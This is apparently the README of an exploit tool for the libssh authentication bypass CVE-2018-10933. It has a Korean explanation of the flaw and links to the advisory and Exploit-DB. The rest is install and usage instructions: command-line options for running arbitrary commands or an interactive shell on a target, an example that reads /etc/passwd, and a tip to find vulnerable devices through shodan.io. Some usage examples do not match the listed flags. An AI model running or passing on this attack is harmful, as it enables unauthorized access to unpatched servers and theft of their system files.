
libSSH-Authentication-Bypass
libssh의 서버 측 상태 머신에서 버전 0.7.6 및 0.8.4 이전에 취약점이 발견되었습니다. 악의적인 클라이언트가 먼저 인증을 수행하지 않고 채널을 생성하여 무단 액세스가 가능했습니다.
이 문제는 libssh가 인증 상태를 유지하지 않는 방식과 이를 이용해 인증을 우회할 수 있는 방법에서 비롯됩니다. 기본적으로 연결을 다단계 프로세스(step1, step2, step3...)로 생각해 보십시오. libssh는 단계의 순서를 강제하지 않기 때문에 step1과 step2를 거치지 않고 step3로 바로 이동할 수 있습니다.
흥미롭게도, 동일한 문제가 SSH 라이브러리 Paramiko에서도 이전에 발견되었습니다: CVE-2018-7750.
Exploit-DB : https://www.exploit-db.com/exploits/45638
libSSH의 CVE-2018-10933 정보 : https://www.libssh.org/security/advisories/CVE-2018-10933.txt
libSSH의 버그 수정 릴리스 : https://www.libssh.org/2018/10/16/libssh-0-8-4-and-0-7-6-security-and-bugfix-release/
sudo apt-get install python3
gh repo clone EmmanuelCruzL/CVE-2018-10933
pip3 install -r requirements.txt
python3 main.py
usage: main.py [-h] [-p PORT] [-log] [-t | -c COMMAND | -i] host
Script for the vulnerabilities CVE-2018-10933
positional arguments:
host the ip or domain address of ssh server
options:
-h, --help show this help message and exit
-p PORT, --port PORT The port the service ssh, default [22]
-log, --logfile Logfile to write conn logs
-t, --test check the version of libSSH
-c COMMAND, --command COMMAND
command to execute
-i, --interactive open the interactive mode
python3 main.py 0.0.0.0 -port 22 -t

python3 main.py 0.0.0.0 -p 22 -c "cat /etc/passwd"

python3 main.py 0.0.0.0 -p 22 -l

[!] can find devices vulnerables using shodan.io
- ( 22 Port is default, other ports like (2222, 3333, 4444) might be including libSSH )
